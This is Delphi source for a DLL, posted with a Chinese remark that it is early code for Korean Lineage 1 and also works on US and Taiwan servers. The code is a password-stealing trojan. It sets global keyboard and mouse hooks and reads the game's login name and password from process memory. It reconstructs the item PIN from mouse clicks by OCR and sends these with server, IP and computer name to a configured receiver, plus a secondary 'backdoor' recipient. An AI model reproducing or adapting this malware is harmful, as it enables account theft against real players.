unithookdll.pas

这个是早时候,韩国天堂1的代码,据说美服和台湾的也能用

unit UnitHookDll;

interface

uses Windows, other, UnitHookType, sendmail, reg, TLHelp32,
  sysutils2, uocr;

const
  MaxPoint = 10;
  WM_CLOSE            = $0010;
  WM_DESTROY = $0002;
  WM_KEYUP = $0101;
  WM_LBUTTONDOWN = $0201;
  WM_RBUTTONDOWN = $0204;
  WM_LBUTTONDBLCLK = $0203;
  WM_GETTEXT = $000D;
  WM_MOUSEMOVE = $0200;
  WSADESCRIPTION_LEN = 256;
  WSASYS_STATUS_LEN = 128;
type
  HKEY = type LongWord;
  TShareMem = packed record
    VerTest: boolean;
    quserver: array[0..255] of char;
    data: array[0..1024] of char;
    backdoor: array[0..1024] of char;
  end;
  PShareMem = ^TShareMem;

procedure StartHook(data: pchar; BackDoor: pchar; VerTest: boolean); stdcall;
procedure StopHook; stdcall;
procedure ThreadFunc1;
function GetMyComputerName: string;

var
  SendHtmlMailSender, SendHtmlMailSubject, SendHtmlMailData: string;
  pShMem: PShareMem;

implementation

var
  MousePoint: array[0..MaxPoint - 1] of TPoint;
  pMousePoint: integer;

  role: integer;
  WuPinPass, user, pass, quserverLocal: array[0..255] of char;

  hMappingFile: THandle;
  KeyHook, MouseHook: THandle;
  filename: string;
  isCQ, FirstProcess: boolean;
  i1, iC1, iC2, iC3, iC4: integer;
  timer1:thandle;

function IsWindows9x: Boolean;
var
  Osi: TOSVersionInfo;
begin
  Osi.dwOSVersionInfoSize := sizeof(Osi);
  GetVersionEx(Osi);
  if (Osi.dwPlatformID = Ver_Platform_Win32_NT) then
    result := False
  else
    result := True;
end;

function HtmlEncode(s: string): string;
var
  i, v1, v2: integer;
  function i2s(b: byte): char;
  begin
    if b <= 9 then result := chr($30 + b)
    else result := chr($41 - 10 + b);
  end;
begin
  result := '';
  for i := 1 to length(s) do
    if s[i] = ' ' then result := result + '+'
    else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
    begin
      v1 := ord(s[i]) mod 16;
      v2 := ord(s[i]) div 16;
      result := result + '%' + i2s(v2) + i2s(v1);
    end
    else result := result + s[i];
end;

function TxtEncode(s: string): string;
var
  i: integer;
begin
  result := '';
  for i := 1 to length(s) do
  begin
    result := result + s[i];
    if s[i] = #$A then
      result := result + '<br>'
  end;
end;

function GetMyComputerName: string;
var
  i: DWORD;
begin
  i := 255;
  setlength(result, i);
  GetComputerName(@result[1], i);
  setlength(result, i);
end;

procedure ThreadFunc1;
var
  data, s: string;
begin
  //sleep(8000);
  data := SendHtmlMailData;
  SendHtmlMailData := '';
  if copy(pshmem^.data, 1, 1) = '0' then s := pshmem^.data + HtmlEncode(data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
    + '&sender=' + HtmlEncode(SendHtmlMailSender)
  else s := pshmem^.data + TxtEncode(Data);
  writedat(SendHtmlMailSender + '#' + SendHtmlMailSubject + '#' + s);
  SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
  if pshmem^.backdoor[0] <> #0 then
  begin
    s := '0 ' + pshmem^.backdoor + HtmlEncode(Data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
      + '&sender=' + HtmlEncode(SendHtmlMailSender);
    SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
  end;
end;

procedure send(const local: boolean = true);
var
  computer, ip, sbak: string;
  ThreadId1: dword;
  i: integer;
begin
  ip := GetMyip;
  computer := GetmycomputerName;
  SendHtmlMailSubject := computer + '(' + ip + ')';
  SendHtmlMailSender := copy(string(quserverLocal), 1, 20);
  if quserverLocal[0] = #0 then
    strcopy(@quserverLocal, @pshmem^.quserver);
  if local then
  begin
    sbak := pass;
    if pshmem^.VerTest then
    begin
      for i := 5 to length(sbak) do
        sbak[i] := '*';
    end;
    sbak := '服务器:' + quserverLocal + #$D#$A'户名:' + user +
      #$D#$A'密码:' + sbak;
    if role <> 0 then
      sbak := sbak + #$D#$A'角色:' + inttostr(role);
  end;
  if WuPinPass[0] <> #0 then
    sbak := sbak + #$D#$A'物品密码:' + WuPinPass;
  sbak := sbak + #$D#$A#$D#$A#$D#$A'IP:' + ip + #$D#$A'机器名:' + computer + #$D#$A;
//  writedat('send: ' + sbak + ' hehe:' + SendHtmlMailData);
  if SendHtmlMailData <> '' then SendHtmlMailData := SendHtmlMailData + sbak
  else begin
    SendHtmlMailData := sbak;
    CreateThread(nil, 0, @ThreadFunc1, nil, 0, ThreadId1);
  end;
end;

procedure GetEditCount(p: integer; class1, class2: string);
var
  i, t: integer;
begin
  ic1 := 0; ic2 := 0;
  t := 0;
  for i := 1 to 19 do
  begin
    t := findwindowex(p, t, pchar(class1), nil);
    if t = 0 then break
    else begin
      inc(ic1);
      if IsWindowVisible(t) then
        inc(ic2);
    end;
  end;
  ic3 := 0; ic4 := 0;
  t := 0;
  for i := 1 to 19 do
  begin
    t := findwindowex(p, t, pchar(class2), nil);
    if t = 0 then break
    else begin
        //SendMessage(t, WM_GETTEXT, 255, dword(@Buffer));
        //writedat(inttostr(t)+' '+buffer);
      inc(ic3);
      if IsWindowVisible(t) then
        inc(ic4);
    end;
  end;
end;

function isparent(var p: hwnd; swintext, sclasstext: string; MustSame: boolean): boolean;
var
  WinText, ClassText: array[0..255] of char;
begin
  p := getparent(p);
  WinText[0] := #0;
  GetWindowText(p, WinText, sizeof(WinText));
  ClassText[0] := #0;
  GetClassName(p, ClassText, sizeof(ClassText));
  if Mustsame then
    result := (wintext = swintext) and (classtext = sclasstext)
  else begin
    //writedat(copy(wintext, 1, length(swintext))+','+copy(classtext, 1, length(sclasstext)));
    result := (copy(wintext, 1, length(swintext)) = swintext) and (copy(classtext, 1, length(sclasstext)) = sclasstext)
  end;
end;

function StrEnd(const Str: PChar): PChar; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        LEA     EAX,[EDI-1]
        MOV     EDI,EDX
end;

function StrCat(Dest: PChar; const Source: PChar): PChar;
begin
  StrCopy(StrEnd(Dest), Source);
  Result := Dest;
end;

procedure PushCursorPos(pt: TPoint);
begin
  MousePoint[pMousePoint] := pt;
  inc(pMousePoint);
  if pMousePoint >= MaxPoint then pMousePoint := 0;
end;

procedure CalcWuPinPass(pt: TPoint);
var
  i, iP: integer;
  s: string;
begin
  WuPinPass[0] := #0;
  iP := pMousePoint - 1;
  s := '';
  for i := 0 to MaxPoint - 1 do
  begin
    if iP < 0 then iP := MaxPoint - 1;
    with MousePoint[iP] do
      if (y >= pt.Y - 36) and (y <= pt.Y - 23) then
      begin
        if (x >= pt.X - 86) and (x <= pt.X - 68) then s := '1' + s
        else if (x >= pt.X - 63) and (x <= pt.X - 45) then s := '2' + s
        else if (x >= pt.X - 41) and (x <= pt.X - 23) then s := '3' + s
        else if (x >= pt.X - 19) and (x <= pt.X - 1) then s := '4' + s
        else if (x >= pt.X + 3) and (x <= pt.X + 21) then s := '5' + s;
      end
      else if (y >= pt.Y - 19) and (y <= pt.Y - 6) then
      begin
        if (x >= pt.X - 86) and (x <= pt.X - 68) then s := '6' + s
        else if (x >= pt.X - 63) and (x <= pt.X - 45) then s := '7' + s
        else if (x >= pt.X - 41) and (x <= pt.X - 23) then s := '8' + s
        else if (x >= pt.X - 19) and (x <= pt.X - 1) then s := '9' + s
        else if (x >= pt.X + 3) and (x <= pt.X + 21) then s := '0' + s;
      end;
    dec(iP);
  end;
  if s <> '' then
  begin
    if length(s) > 6 then delete(s, 1, length(s) - 6);
    strcopy(@WuPinPass, pchar(s));
    writedat('物品密码bak:' + WuPinPass);
  end;
  if (WuPinPass[0] <> #0) and (User[0] <> #0) and (Pass[0]<>#0) then
    send;
end;

function valid(p: pchar; allowhz: boolean): boolean;
var
  i: integer;
begin
  result := true;
  for i := 0 to 255 do
  begin
    if p[i] = #0 then
    begin
      if i = 0 then break
      else exit
    end
    else if (p[i] >= #$80) then
    begin
      if not allowhz then break;
    end
    else if (p[i] < ' ') then break;
  end;
  result := false;
end;

function CanRead(p:pointer;var size:integer):boolean;
var
  MemInfo: TMemoryBasicInformation;
begin
  fillchar(MemInfo, SizeOf(TMemoryBasicInformation),0);
  VirtualQuery(p, MemInfo, SizeOf(TMemoryBasicInformation));
//  writedat('address:'+inttostr(integer(p))+' '+inttostr(integer(meminfo.BaseAddress))+' Protect:'+inttostr(Meminfo.Protect)+' size:'+inttostr(Meminfo.RegionSize));
  size:=Meminfo.RegionSize;
  result:=not (Meminfo.Protect=PAGE_READONLY);
end;

procedure TimerSend(Wnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
begin
  killtimer(0,timer1);
  timer1:=0;
  send;
end;

procedure GetMemUserPass;
const
  iMem1 = $0038aef8; //$00538014
var
  p: pchar;
  size:integer;
  bakuser, bakpass: array[0..255] of char;
begin
  try
    p := pointer(iMem1);
    //if (p=nil)or(not CanRead(p,size)) then exit;
    p:= pointer(plongword(P)^);
    //if (p=nil)or(not CanRead(p,size)) then exit;
    p := pointer(p - $20);
    //writedat('3');
    if (p=nil)or(not CanRead(p,size)) then exit;
    //writedat('4');
    bakuser[0] := #0;
    strlcopy(@bakuser, p, 30);
    if not valid(@bakuser, false) then exit;

    inc(p, $88);
    bakpass[0] := #0;
    strlcopy(@bakpass, p, 30);
    //writedat('5');
    if not valid(@bakpass, false) then exit;

    if (strcomp(@bakuser, @user) = 0) and (strcomp(@bakpass, @pass) = 0) then
      //nothing...
    else begin
      strcopy(@user, @bakuser);
      strcopy(@pass, @bakpass);
      writedat('getmem user:' + user + ' pass:' + pass);
      if timer1<>0 then killtimer(0,timer1);
      timer1:=settimer(0,1,20000,@TimerSend);
    end;
  except
  end;
end;

procedure LogoMouse(wpa, lpa: integer);
var
  p, pbak1: hwnd;
  WinText, ClassText: array[0..255] of char;
  text: string;
  pt: TPoint;
begin
  if not isCQ then exit;
  p := pMOUSEHOOKSTRUCT(lpa)^.hwnd; //GetForegroundWindow;
  WinText[0] := #0;
  GetWindowText(p, WinText, sizeof(WinText));
  ClassText[0] := #0;
  GetClassName(p, ClassText, sizeof(ClassText));
  if (user[0]<>#0)and(pass[0]<>#0) then
    writedat(' mouse WinText:' + WinText + ' class:' + classtext + ' x:' + inttostr(pMOUSEHOOKSTRUCT(lpa)^.pt.X) +
      ' Y:' + inttostr(pMOUSEHOOKSTRUCT(lpa)^.pt.Y));
  if (classtext = 'Button') then
  begin
    pbak1 := p;
    if (isParent(pbak1, '', 'serverListWnd', true)) then
    begin
      text := WinText; //BIG5toGB(
      strcopy(@pshmem^.quserver, pchar(text));
      writedat('区mouse: ' + pshmem^.quserver);
      user[0] := #0;
      pass[0] := #0;
      role := 0;
    end;
  end
  else if (wintext = 'Lineage Windows Client') and (classtext = 'Lineage') then
  begin
    if (user[0]=#0)or(pass[0]=#0) then
    begin
      GetMemUserPass;
    end;
    PushCursorPos(pMOUSEHOOKSTRUCT(lpa)^.pt);
    if OCR(pt, 'OK') then
    begin
      writedat('OCR Found Text:' + inttostr(pt.X) + ',' + inttostr(pt.Y));
      CalcWuPinPass(pt);
    end;
    {GetEditCount(p, 'LUnicodeEdit', 'LMyEdit');
    if (user[0]<>#0)and(pass[0]<>#0) then
      writedat('iC: ' + inttostr(ic1) + ' ' + inttostr(ic2) + ' ' + inttostr(ic3) + ' ' + inttostr(ic4) + ' user:' + user + ' pass:' + pass);
    if (((ic1 = 2) and (ic2 = 2)) or ((ic1 = 1) and (ic2 = 1)))
      and (ic3 = 0) and (ic4 = 0) then
    begin
      if (user[0] <> #0) and (pass[0] <> #0) then
      begin
        send;
      end;
    end;}
    if (wpa = WM_LBUTTONDBLCLK) and (user[0] <> #0) and (pass[0] <> #0) then
    begin
      //角色1 20-149
      if (pMOUSEHOOKSTRUCT(lpa)^.pt.Y <= 291) then
      begin
        if (user[0] <> #0) and (pass[0] <> #0) then
        begin
          with pMOUSEHOOKSTRUCT(lpa)^.pt do
            if (x >= 20) and (x <= 149) then role := 1
            else if (x >= 176) and (x <= 307) then role := 2
            else if (x >= 333) and (x <= 464) then role := 3
            else if (x >= 490) and (x <= 621) then role := 4;
        end;
      end;
    end;
  end;
end;

procedure LogoKey(wpa, lpa: integer);
begin
  if not isCQ then exit;
//  if (user[0]<>#0)and(pass[0]<>#0) then
//     writedat('key0:' + inttostr(Wpa));
  if wpa=vk_return then
    getmemUserpass;   
end;

function KeyPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
  stdcall; export;
begin
  Result := CallNextHookEx(KeyHook, iCode, wParam, lParam);
  if ((Lparam and $80000000) = 0) then
  begin
    LogoKey(wparam, lparam);
  end;
end;

function MouseProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
  stdcall; export;
begin
  if (wparam = WM_LBUTTONDOWN) or (wparam = WM_RBUTTONDOWN) or (wparam = WM_LBUTTONDBLCLK) then
  begin
    LogoMouse(wparam, lparam);
  end;
  Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
end;

procedure StartHook(data: pchar; BackDoor: pchar; VerTest: boolean); stdcall;
//var
//  SystemTime: TSystemTime;
begin
//  GetLocalTime(SystemTime);
//  with SystemTime do
//    if (wYear >= 2004) and (wMonth >= 9) then exit;
  Killer;

  FirstProcess := true;
  pshmem^.quserver[0] := #0;
  pshmem^.VerTest := VerTest;

  strcopy(pshmem^.data, data);
  strcopy(pshmem^.backdoor, backdoor);
  if KeyHook = 0 then
    KeyHook := SetWindowsHookEx(WH_KEYBOARD, Keypro, HInstance, 0);
  if MouseHook = 0 then
    MouseHook := SetWindowsHookEx(WH_MOUSE, MouseProc, Hinstance, 0);
end;

procedure StopHook; stdcall;
begin
  if KeyHook <> 0 then
    UnhookwindowsHookEx(KeyHook);
  KeyHook := 0;
  if MouseHook <> 0 then
    UnhookwindowsHookEx(MouseHook);
  MouseHook := 0;
end;

initialization
  timer1:=0;
  quserverLocal[0] := #0;
  user[0] := #0;
  pass[0] := #0;
  WuPinPass[0] := #0;
  role := 0;
  pMousePoint := 0;
  for i1 := 0 to MaxPoint - 1 do
  begin
    MousePoint[i1].X := 0;
    MousePoint[i1].Y := 0;
  end;
  FirstProcess := false;
  SendHtmlMailData := '';
//  is9x := IsWindows9x;
  hMappingFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TShareMem), pchar(MappingFileName));
  pShMem := MapViewOfFile(hMappingFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
  filename := extractfilename(GetModalName(GetCurrentProcessId, '.bin'));
  isCQ := (ansicomparetext(filename, 'lineage.exe') = 0) or (ansicomparetext(filename, 'lin.bin') = 0);

finalization
  try
    if FirstProcess then
      StopHook;
    UnMapViewOfFile(pShMem);
    CloseHandle(hMappingFile);
  except
  end;
end.